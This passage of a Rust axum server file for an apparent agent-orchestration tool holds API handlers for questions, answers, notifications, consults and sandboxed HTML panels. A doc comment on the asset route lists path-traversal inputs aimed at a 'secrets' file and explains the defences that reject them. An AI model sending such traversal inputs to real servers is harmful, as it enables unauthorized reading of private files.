8123                view.id.clone(),
8124            )
8125        });
8126        Ok(Json(DecisionsView {
8127            items: views,
8128            unreadable,
8129            migration_errors: crate::task_chat::migration_issues(&ui.home),
8130        }))
8131    })
8132    .await
8133}
8134
8135async fn decision_get(
8136    State(ui): State<Arc<Ui>>,
8137    Path(id): Path<String>,
8138) -> ApiResult<Json<DecisionView>> {
8139    blocking(move || {
8140        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8141        DecisionView::from_inquiry(inquiry)
8142            .map(Json)
8143            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8144    })
8145    .await
8146}
8147
8148async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8149    blocking(move || {
8150        let questions = ui.questions.list();
8151        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8152        Ok(Json(
8153            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8154                .into_iter()
8155                .map(|view| view.with_origin(&tasks, &talks, &watches))
8156                .collect(),
8157        ))
8158    })
8159    .await
8160}
8161
8162/// Question content and answer controls never wait for task/chat provenance.
8163async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8164    blocking(move || {
8165        Ok(Json(question_views(
8166            ui.questions.list(),
8167            &ui.questions,
8168            || deputy_config(&ui.repo),
8169        )))
8170    })
8171    .await
8172}
8173
8174fn question_record_revision(question: &Question) -> String {
8175    use std::hash::{Hash as _, Hasher as _};
8176    let mut hash = std::hash::DefaultHasher::new();
8177    serde_json::to_vec(question)
8178        .expect("serializable question")
8179        .hash(&mut hash);
8180    format!("{:016x}", hash.finish())
8181}
8182
8183#[derive(Serialize)]
8184struct QuestionOriginView {
8185    id: String,
8186    record_revision: String,
8187    origin_chat: Option<String>,
8188    origin_chat_closed: bool,
8189    can_consult_chat: bool,
8190}
8191
8192async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8193    blocking(move || {
8194        let questions = ui.questions.list();
8195        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8196        Ok(Json(
8197            questions
8198                .into_iter()
8199                .map(|question| {
8200                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8201                    let can_consult_chat = consult.is_some();
8202                    let talk = crate::consult::associated_talk_with_watches(
8203                        &tasks, &talks, &question, &watches,
8204                    );
8205                    QuestionOriginView {
8206                        record_revision: question_record_revision(&question),
8207                        id: question.id,
8208                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8209                        origin_chat: talk.map(|talk| talk.id),
8210                        can_consult_chat,
8211                    }
8212                })
8213                .collect(),
8214        ))
8215    })
8216    .await
8217}
8218
8219type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8220
8221/// Only the task ancestry and chats these questions actually reference. Run
8222/// mappings share the reconciled queue index; exact task references bypass it.
8223/// No question means no task/chat I/O, including no index reconciliation.
8224fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8225    fn task_for_run(
8226        ui: &Ui,
8227        index: &mut Option<Vec<Arc<TaskRelation>>>,
8228        run: &str,
8229        loaded: &HashMap<String, Task>,
8230    ) -> ApiResult<Option<Task>> {
8231        if !plain_record_id(run) {
8232            return Ok(None);
8233        }
8234        if index.is_none() {
8235            *index = Some(ui.indexed_tasks()?);
8236        }
8237        Ok(index
8238            .as_ref()
8239            .expect("loaded index")
8240            .iter()
8241            .find(|task| task.runs.iter().any(|id| id == run))
8242            .and_then(|task| {
8243                loaded
8244                    .get(&task.id)
8245                    .cloned()
8246                    .or_else(|| ui.queue.get(&task.id).ok())
8247            })
8248            .filter(|task| task.runs.iter().any(|id| id == run)))
8249    }
8250    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8251        plain_record_id(id)
8252            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8253            .flatten()
8254            .filter(|task| task.id == id)
8255    };
8256    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8257    let mut index = None;
8258    let mut tasks = HashMap::new();
8259    let mut talks = HashMap::new();
8260    for question in questions {
8261        for reference in crate::consult::question_task_refs(question, &watches) {
8262            let mut current = match reference {
8263                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8264                crate::consult::QuestionTaskRef::Run(id) => {
8265                    task_for_run(ui, &mut index, id, &tasks)?
8266                }
8267            };
8268            let mut seen = HashSet::new();
8269            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8270                let Some(task) = current.take() else {
8271                    break;
8272                };
8273                if !seen.insert(task.id.clone()) {
8274                    break;
8275                }
8276                let chat = task.chat_talk().map(str::to_owned);
8277                let followup = task.followup.clone();
8278                tasks.insert(task.id.clone(), task);
8279                if let Some(chat) = chat {
8280                    if plain_record_id(&chat)
8281                        && !talks.contains_key(&chat)
8282                        && let Ok(talk) = ui.talks.get(&chat)
8283                    {
8284                        talks.insert(chat, talk);
8285                    }
8286                    break;
8287                }
8288                let Some(followup) = followup else {
8289                    break;
8290                };
8291                current = match followup.origin_task {
8292                    Some(id) => direct_task(&id, &tasks),
8293                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8294                };
8295            }
8296        }
8297    }
8298    let mut tasks: Vec<Task> = tasks.into_values().collect();
8299    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8300    Ok((tasks, talks.into_values().collect(), watches))
8301}
8302
8303/// `GET /api/notifications`: not dismissed, newest first, with the unread
8304/// count so the badge and the list cannot disagree.
8305async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8306    blocking(move || {
8307        let items = ui.notices.list();
8308        let unread = items.iter().filter(|n| n.unread()).count();
8309        let items: Vec<_> = items
8310            .into_iter()
8311            .map(|n| {
8312                let question = crate::notices::answerable_question(&n, &ui.questions);
8313                let mut item = serde_json::to_value(n)?;
8314                item["answerable_question"] = serde_json::json!(question);
8315                Ok(item)
8316            })
8317            .collect::<anyhow::Result<_>>()?;
8318        Ok(Json(
8319            serde_json::json!({ "unread": unread, "items": items }),
8320        ))
8321    })
8322    .await
8323}
8324
8325fn notice_error(e: anyhow::Error) -> ApiError {
8326    // An unknown or malformed id and a vanished file are the same answer to
8327    // the phone: that notification is gone.
8328    ApiError::not_found(format!("{e:#}"))
8329}
8330
8331/// `POST /api/notifications/{id}/read`.
8332async fn notification_read(
8333    State(ui): State<Arc<Ui>>,
8334    Path(id): Path<String>,
8335) -> ApiResult<Json<Notice>> {
8336    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8337}
8338
8339/// `POST /api/notifications/{id}/dismiss`.
8340async fn notification_dismiss(
8341    State(ui): State<Arc<Ui>>,
8342    Path(id): Path<String>,
8343) -> ApiResult<Json<Notice>> {
8344    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8345}
8346
8347/// `POST /api/notifications/read-all`.
8348async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8349    blocking(move || {
8350        let changed = ui.notices.mark_all_read()?;
8351        Ok(Json(serde_json::json!({ "marked": changed })))
8352    })
8353    .await
8354}
8355
8356/// The body of `POST /api/questions/{id}/answer`.
8357///
8358/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8359/// a bad request rather than a guess: an answer magi invented is worse than a
8360/// question left open.
8361#[derive(Debug, Default, Deserialize)]
8362#[serde(default, deny_unknown_fields)]
8363struct NewAnswer {
8364    choice: Option<String>,
8365    text: Option<String>,
8366    talk: Option<String>,
8367    head: Option<String>,
8368}
8369
8370async fn question_answer(
8371    State(ui): State<Arc<Ui>>,
8372    Path(id): Path<String>,
8373    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8374) -> ApiResult<Json<QuestionView>> {
8375    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8376    let answer = match (body.choice, body.text) {
8377        (Some(c), None) => Answer::Choice(c),
8378        (None, Some(t)) => Answer::Text(t),
8379        (Some(_), Some(_)) => {
8380            return Err(ApiError::bad_request(
8381                "send either `choice` or `text`, not both",
8382            ));
8383        }
8384        (None, None) => {
8385            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8386        }
8387    };
8388
8389    blocking(move || {
8390        let id = resolve_question(&ui.questions, &id)?;
8391        let q = ui
8392            .questions
8393            .get(&id)
8394            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8395        if !q.can_answer() {
8396            // Answered from the terminal, or by another phone, in between the
8397            // list and the tap. The UI shows the recorded answer rather than an
8398            // error, so it needs the record, not just the status.
8399            return Err(ApiError::conflict(format!(
8400                "question {} is already {}",
8401                q.short(),
8402                q.status.as_str()
8403            )));
8404        }
8405        // `Question::answer` owns the rules - an unoffered choice, free text on
8406        // a multiple-choice question, an empty reply - so the route does not
8407        // restate them and cannot drift from the CLI's behaviour.
8408        let cfg = deputy_config(&ui.repo);
8409        let (q, ()) = ui
8410            .questions
8411            .update(&q.id, |r| {
8412                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8413                // Buttons retain their displayed chat/head binding. A direct
8414                // decision does not require a button or a prior persona offer.
8415                if r.routed_task.is_some()
8416                    && r.merge_target.is_some()
8417                    && merge
8418                    && (body.talk.is_some() || body.head.is_some())
8419                {
8420                    let talk_id = body
8421                        .talk
8422                        .as_deref()
8423                        .context("approval button requires its chat")?;
8424                    let head = body
8425                        .head
8426                        .as_deref()
8427                        .context("approval button requires the displayed head")?;
8428                    let talk = ui.talks.get(talk_id)?;
8429                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8430                    r.answer_chat_button(answer, talk_id, head)
8431                } else {
8432                    r.answer(answer)
8433                }
8434            })
8435            .map_err(ApiError::bad_request_from)?;
8436        let (tasks, talks, watches) =
8437            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8438        Ok(Json(
8439            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8440        ))
8441    })
8442    .await
8443}
8444
8445/// A dedicated status avoids the client's settled-question 409 handling.
8446fn question_text_error(e: anyhow::Error) -> ApiError {
8447    let reason = e
8448        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8449        .map(|e| e.reason);
8450    let error = ApiError::bad_request_from(e);
8451    if let Some(reason) = reason {
8452        ApiError {
8453            text_reason: Some(reason),
8454            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8455        }
8456    } else {
8457        error
8458    }
8459}
8460
8461/// The body of `POST /api/questions/{id}/say`.
8462#[derive(Debug, Deserialize)]
8463#[serde(deny_unknown_fields)]
8464struct NewSay {
8465    body: String,
8466}
8467
8468/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8469///
8470/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8471/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8472/// file, so there is no turn to serialize against and no
8473/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8474/// is a *different* process - the run parked behind `magi ask` - and picks
8475/// the reply up on its own poll of the very same file, same as an answer
8476/// does.
8477async fn question_say(
8478    State(ui): State<Arc<Ui>>,
8479    Path(id): Path<String>,
8480    body: std::result::Result<Json<NewSay>, JsonRejection>,
8481) -> ApiResult<Json<QuestionView>> {
8482    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8483    blocking(move || {
8484        let id = resolve_question(&ui.questions, &id)?;
8485        let q = ui
8486            .questions
8487            .get(&id)
8488            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8489        if !q.status.open() {
8490            // Same granularity as `question_answer`: answered or abandoned in
8491            // between the list and the tap is not this route's error to
8492            // explain any differently.
8493            return Err(ApiError::conflict(format!(
8494                "question {} is already {}",
8495                q.short(),
8496                q.status.as_str()
8497            )));
8498        }
8499        // `Question::say` owns the one rule that matters here - an empty
8500        // message tells the agent nothing - so the route does not restate it.
8501        let cfg = deputy_config(&ui.repo);
8502        let (q, ()) = ui
8503            .questions
8504            .update(&q.id, |r| {
8505                if body.body.trim().is_empty() {
8506                    return r.say(body.body);
8507                }
8508                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8509                r.say(body.body)
8510            })
8511            .map_err(question_text_error)?;
8512        let (tasks, talks, watches) =
8513            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8514        Ok(Json(
8515            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8516        ))
8517    })
8518    .await
8519}
8520
8521/// A disconnected request or a replacing listener cannot interrupt the short
8522/// transaction between persistence and detached worker publication.
8523async fn admitted<T: Send + 'static>(
8524    admission: AdmissionGuard,
8525    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8526) -> ApiResult<T> {
8527    tokio::spawn(async move {
8528        let result = work.await;
8529        drop(admission);
8530        result
8531    })
8532    .await
8533    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8534}
8535
8536/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8537/// came from. The question stays open: the chat agent answers it with `magi
8538/// answer`, or puts the decision to the owner in the conversation.
8539///
8540/// Answers 202 and runs the turn in the background, like every route that
8541/// spends agent calls. The text is queued as a draft of the existing talk, and
8542/// the turn goes through the talk's own gate and session; no seat or waiter is
8543/// started here.
8544async fn question_consult(
8545    State(ui): State<Arc<Ui>>,
8546    Path(id): Path<String>,
8547) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8548    let admission = ui.begin_admission()?;
8549    admitted(admission, async move {
8550        let (q, tasks, talks, watches, talk, cfg) = blocking({
8551            let ui = Arc::clone(&ui);
8552            move || {
8553                let id = resolve_question(&ui.questions, &id)?;
8554                let q = ui.questions.get(&id).map_err(|e| {
8555                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8556                })?;
8557                if !q.status.open() {
8558                    return Err(ApiError::conflict(format!(
8559                        "question {} is already {}",
8560                        q.short(),
8561                        q.status.as_str()
8562                    )));
8563                }
8564                let (tasks, talks, watches) =
8565                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8566                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8567                    return Err(ApiError::conflict(format!(
8568                        "question {} has no chat to ask",
8569                        q.short()
8570                    )));
8571                };
8572                // Read the config before `begin` saves anything: a failure here
8573                // must leave no consult record or draft behind, or a retry would
8574                // see `fresh == false` and never start the turn.
8575                let cfg = if q.consult.is_none() {
8576                    Some(Config::discover(&talk.repo, None)?.0)
8577                } else {
8578                    None
8579                };
8580                Ok((q, tasks, talks, watches, talk, cfg))
8581            }
8582        })
8583        .await?;
8584        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8585            .await
8586            .map_err(ApiError::from)?;
8587        let (view, reclaimed, submitted) = blocking({
8588            let ui = Arc::clone(&ui);
8589            move || {
8590                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8591                let claim = if fresh {
8592                    match ui.begin_queued_talk_turn(&talk.id)? {
8593                        Some(turn_guard) => {
8594                            let talk = ui.talks.get(&talk.id)?;
8595                            let cfg = match cfg {
8596                                Some(cfg) => cfg,
8597                                None => Config::discover(&talk.repo, None)?.0,
8598                            };
8599                            Some((talk, cfg, turn_guard))
8600                        }
8601                        None => None,
8602                    }
8603                } else {
8604                    None
8605                };
8606                let q = ui.questions.get(&q.id)?;
8607                let cfg = deputy_config(&ui.repo);
8608                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8609                    .with_origin(&tasks, &talks, &watches);
8610                Ok((view, claim, fresh.then_some(talk.id)))
8611            }
8612        })
8613        .await?;
8614        #[cfg(not(test))]
8615        {
8616            if let Some(id) = submitted {
8617                crate::chat_worker::spawn_turn(&ui.talks, &id)
8618                    .await
8619                    .map_err(ApiError::from)?;
8620            }
8621            drop(reclaimed);
8622        }
8623        #[cfg(test)]
8624        let _ = submitted;
8625        #[cfg(test)]
8626        if let Some((talk, cfg, turn_guard)) = reclaimed {
8627            let talks = ui.talks.clone();
8628            let id = talk.id.clone();
8629            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8630        }
8631        Ok((StatusCode::ACCEPTED, Json(view)))
8632    })
8633    .await
8634}
8635
8636/// Expand an id or short id to exactly one question id.
8637fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8638    if plain_record_id(id) && store.path_of(id).is_file() {
8639        return Ok(id.to_owned());
8640    }
8641    pick(
8642        store.list().into_iter().map(|q| q.id).collect(),
8643        id,
8644        "question",
8645    )
8646}
8647
8648/// `GET /api/questions/{id}/panel`.
8649///
8650/// The panel an agent wrote for this question, as `text/html` under
8651/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8652/// A question without one is a 404 rather than an empty page: the client
8653/// preflights this route with `HEAD` and must be able to tell "no panel" from
8654/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8655/// parent document so it cannot tell the difference by looking.
8656///
8657/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8658/// sanitises or minifies it - a sanitiser is a list of things someone thought
8659/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8660/// is the direction that stays safe when an agent writes markup nobody
8661/// predicted.
8662async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8663    blocking(move || {
8664        let id = resolve_question(&ui.questions, &id)?;
8665        let Some(html) = ui.questions.panel_html(&id) else {
8666            return Err(ApiError::not_found(format!("question {id} has no panel")));
8667        };
8668        Ok(panel_response(
8669            "text/html; charset=utf-8",
8670            false,
8671            html.into_bytes(),
8672        ))
8673    })
8674    .await
8675}
8676
8677/// `GET /api/questions/{id}/asset/{name}`.
8678///
8679/// One file from the question's own panel directory, so a panel can show a
8680/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8681/// having to allow anything off this machine.
8682///
8683/// This is the only route in the server where a client names a file, so it is
8684/// the only one with a traversal surface, and the name is checked by
8685/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8686/// what is worth being explicit about, because the answer is not "all of it in
8687/// one place":
8688///
8689/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8690///   the raw request path and `{name}` spans exactly one segment, so a real
8691///   slash makes the request too long for the route and the router answers 404.
8692/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8693///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8694///   `..\secrets` respectively, which look like plain filenames to the router.
8695///   The validator refuses them here - both for the literal `..` and because
8696///   `/` and `\` are not in the permitted character set - and answers 400.
8697/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8698///   the platform's path API is not, and it is refused here for the same
8699///   reason: NUL is not a permitted character.
8700/// * [`Questions::panel_asset`] validates again on read, so the check is not
8701///   load-bearing in only one place. This route's own check exists so the
8702///   failure is a 400 that says which name was wrong, rather than a store error
8703///   the operator has to interpret.
8704async fn question_asset(
8705    State(ui): State<Arc<Ui>>,
8706    Path((id, name)): Path<(String, String)>,
8707) -> ApiResult<Response> {
8708    // Before any filesystem work and before any path is built: a name this
8709    // server will not serve should not become a `PathBuf` at all.
8710    if !crate::ask::valid_asset_name(&name) {
8711        return Err(ApiError::bad_request(format!(
8712            "`{name}` is not a usable asset name"
8713        )));
8714    }
8715    blocking(move || {
8716        let id = resolve_question(&ui.questions, &id)?;
8717        let asset = ui
8718            .questions
8719            .panel_asset(&id, &name)
8720            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8721        let Some(bytes) = asset else {
8722            return Err(ApiError::not_found(format!(
8723                "question {id} has no asset `{name}`"
8724            )));
8725        };
8726        Ok(panel_response(
8727            asset_content_type(&name),
8728            is_svg(&name),
8729            bytes,
8730        ))
8731    })
8732    .await
8733}
8734
8735/// Content type for a panel asset, from a closed whitelist.
8736///
8737/// A whitelist with an `application/octet-stream` fallback rather than a
8738/// guess, because the one answer that must never come out of here is
8739/// `text/html`. An agent that writes `notes.html` into its panel directory and
8740/// links it would otherwise get its own markup rendered at the top level of the
8741/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8742/// magi's origin - which is precisely the thing the panel design exists to
8743/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8744///
8745/// `nosniff` accompanies this on every response, so a browser cannot decide it
8746/// knows better than the type we sent.
8747fn asset_content_type(name: &str) -> &'static str {
8748    match extension(name).as_deref() {
8749        Some("png") => "image/png",
8750        Some("jpg" | "jpeg") => "image/jpeg",
8751        Some("gif") => "image/gif",
8752        Some("webp") => "image/webp",
8753        Some("svg") => "image/svg+xml",
8754        Some("css") => "text/css; charset=utf-8",
8755        Some("txt") => "text/plain; charset=utf-8",
8756        _ => "application/octet-stream",
8757    }
8758}
8759
8760/// Is this an SVG, and therefore a file that must never be opened at the top
8761/// level?
8762fn is_svg(name: &str) -> bool {
8763    extension(name).as_deref() == Some("svg")
8764}
8765
8766/// Lowercased extension, or `None` for a name without one.
8767fn extension(name: &str) -> Option<String> {
8768    name.rsplit_once('.')
8769        .map(|(_, ext)| ext.to_ascii_lowercase())
8770}
8771
8772/// Every panel response, with the four headers that make it safe and, for an
8773/// SVG, a fifth.
8774///
8775/// One function rather than a header list per handler, because a panel route
8776/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8777/// model gone, silently, on one of two routes. Adding a third panel route later
8778/// means calling this, and there is nowhere else to build a panel response.
8779///
8780/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8781/// as an `<img src>` inside the panel that script cannot run - but the asset
8782/// URL is also a plain URL an operator can be talked into opening in a tab,
8783/// where it is a document on magi's own origin. `Content-Disposition:
8784/// attachment` makes the browser download it instead of rendering it, which
8785/// closes that door without taking away the ability to draw a diff. Raster
8786/// images have no such execution surface and are left inline, so tapping a
8787/// screenshot still shows it.
8788fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8789    let mut res = (
8790        [
8791            (header::CONTENT_TYPE, content_type),
8792            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8793            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8794            (header::REFERRER_POLICY, "no-referrer"),
8795        ],
8796        body,
8797    )
8798        .into_response();
8799    if download {
8800        res.headers_mut().insert(
8801            header::CONTENT_DISPOSITION,
8802            HeaderValue::from_static("attachment"),
8803        );
8804    }
8805    res
8806}
8807
8808/// A talk as the phone reads it.
8809///
8810/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8811/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8812/// parses markdown itself - and the process-local `thinking` hint.
8813#[derive(Debug, Serialize)]
8814struct ChatApproval {
8815    question: String,
8816    target: crate::merge_decision::Target,
8817}
8818
8819#[derive(Debug, Serialize)]
8820struct TalkView {
8821    #[serde(flatten)]
8822    talk: Talk,
8823    turn_bodies_md: Vec<Vec<md::Node>>,
8824    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8825    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8826    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8827    merge_approvals: Vec<ChatApproval>,
8828    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8829    /// this server process.
8830    ///
8831    /// This is deliberately not durable: another server process cannot see
8832    /// it, and a restarted server must not claim an old turn is live. It is a
8833    /// progress hint rather than proof a reply landed; the transcript remains
8834    /// the source of truth for that.
8835    thinking: bool,
8836    /// Context-window usage, derived per request - see
8837    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8838    /// and each mutation) so the phone needs no extra call or polling.
8839    context: talk::ContextUsage,
8840    /// `[talk] operator_name`, when configured; the Chat labels the
8841    /// operator's turns with it.
8842    operator_name: Option<String>,
8843    /// The active persona's display name; `None` for the default voice.
8844    persona_name: Option<String>,
8845    /// URL of the avatar for the conversation's persona (the default voice
8846    /// included). Server-built; a configured `icon` never reaches the client.
8847    persona_avatar: String,
8848    /// Operator avatar; display only and independent of repository config.
8849    operator_avatar: String,
8850    magi_avatar: String,
8851}
8852
8853impl TalkView {
8854    /// Reads the talk's repository config itself; a config that cannot be
8855    /// read leaves the window unknown but never fails the conversation.
8856    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8857        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8858        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8859    }
8860
8861    /// As [`Self::new`], with the config already in hand (the list reads one
8862    /// per repository, not one per conversation).
8863    fn with_config(
8864        talk: Talk,
8865        thinking: bool,
8866        cfg: Option<&Config>,
8867        home: &FsPath,
8868        cache: &id_links::IndexCache,
8869    ) -> Self {
8870        let references = cache.for_talk(home, &talk);
8871        Self::with_references(talk, thinking, cfg, home, &references)
8872    }
8873
8874    fn with_references(
8875        mut talk: Talk,
8876        thinking: bool,
8877        cfg: Option<&Config>,
8878        home: &FsPath,
8879        references: &id_links::IdIndex,
8880    ) -> Self {
8881        // This owned value is the display DTO; never write it back to the talk store.
8882        let snapshot = talk.clone();
8883        for (index, turn) in talk.turns.iter_mut().enumerate() {
8884            let original = &snapshot.turns[index];
8885            if turn.messages.is_empty() {
8886                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8887                    turn.messages.push(talk::Message {
8888                        sender: Some(talk::Sender::Magi),
8889                        accepted_at: None,
8890                        body: original.body.clone(),
8891                        display: Some(display),
8892                        recovery_event: None,
8893                        attachments: original.attachments.clone(),
8894                        reply: None,
8895                    });
8896                }
8897            } else {
8898                for (i, message) in turn.messages.iter_mut().enumerate() {
8899                    message.display =
8900                        talk::notice_display(&snapshot, original, original.messages.get(i));
8901                    if message.display.is_some() {
8902                        message.sender = Some(talk::Sender::Magi);
8903                    }
8904                }
8905            }
8906        }
8907        for message in &mut talk.pending_messages {
8908            if message.display.is_none()
8909                && (message.sender == Some(talk::Sender::Magi)
8910                    || snapshot
8911                        .completion_notices
8912                        .iter()
8913                        .any(|r| r.notice == message.body))
8914            {
8915                message.display = crate::prompt::legacy_notice_display(&message.body);
8916                if message.display.is_some() {
8917                    message.sender = Some(talk::Sender::Magi);
8918                }
8919            }
8920        }
8921        if talk.pending_messages.is_empty()
8922            && snapshot
8923                .completion_notices
8924                .iter()
8925                .any(|r| r.notice == talk.pending)
8926            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8927        {
8928            talk.pending_messages.push(talk::Message {
8929                sender: Some(talk::Sender::Magi),
8930                accepted_at: None,
8931                display: Some(display),
8932                recovery_event: None,
8933                body: talk.pending.clone(),
8934                attachments: talk.pending_attachments.clone(),
8935                reply: None,
8936            });
8937        }
8938        let excerpts: Vec<Vec<Option<String>>> = talk
8939            .turns
8940            .iter()
8941            .map(|turn| {
8942                turn.messages
8943                    .iter()
8944                    .map(|m| {
8945                        m.display
8946                            .as_ref()
8947                            .map(|d| d.facts.chars().take(240).collect())
8948                    })
8949                    .collect()
8950            })
8951            .collect();
8952        for turn in &mut talk.turns {
8953            let provenance = talk::sender(turn, None);
8954            turn.sender = Some(provenance);
8955            for message in &mut turn.messages {
8956                message.sender = Some(message.sender.unwrap_or(provenance));
8957            }
8958        }
8959        // Old reply snapshots have only a role; recover provenance from their target.
8960        let senders: Vec<Vec<talk::Sender>> = talk
8961            .turns
8962            .iter()
8963            .map(|turn| {
8964                if turn.messages.is_empty() {
8965                    vec![talk::sender(turn, None)]
8966                } else {
8967                    turn.messages
8968                        .iter()
8969                        .map(|m| talk::sender(turn, Some(m)))
8970                        .collect()
8971                }
8972            })
8973            .collect();
8974        for reply in talk
8975            .turns
8976            .iter_mut()
8977            .flat_map(|t| t.messages.iter_mut())
8978            .chain(talk.pending_messages.iter_mut())
8979            .filter_map(|m| m.reply.as_mut())
8980        {
8981            if let Some(Some(excerpt)) = excerpts
8982                .get(reply.target.turn)
8983                .and_then(|ms| ms.get(reply.target.message))
8984            {
8985                reply.excerpt = excerpt.clone();
8986                reply.sender = Some(talk::Sender::Magi);
8987            }
8988            if reply.sender.is_none() {
8989                reply.sender = senders
8990                    .get(reply.target.turn)
8991                    .and_then(|messages| messages.get(reply.target.message))
8992                    .copied();
8993            }
8994        }
8995        let context = talk::context_usage(&talk, cfg);
8996        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8997            .turns
8998            .iter()
8999            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9000            .collect();
9001        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9002            .turns
9003            .iter()
9004            .map(|turn| {
9005                if turn.messages.is_empty() {
9006                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9007                } else {
9008                    turn.messages
9009                        .iter()
9010                        .map(|message| {
9011                            notice_markdown(
9012                                message.sender.unwrap_or(talk::Sender::Operator),
9013                                &message.body,
9014                                message.display.as_ref(),
9015                            )
9016                        })
9017                        .collect()
9018                }
9019            })
9020            .collect();
9021        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9022            .pending_messages
9023            .iter()
9024            .map(|message| {
9025                notice_markdown(
9026                    message.sender.unwrap_or(talk::Sender::Operator),
9027                    &message.body,
9028                    message.display.as_ref(),
9029                )
9030            })
9031            .collect();
9032        for nodes in &mut turn_bodies_md {
9033            references.markdown(nodes);
9034        }
9035        for nodes in turn_messages_md
9036            .iter_mut()
9037            .flatten()
9038            .chain(pending_messages_md.iter_mut())
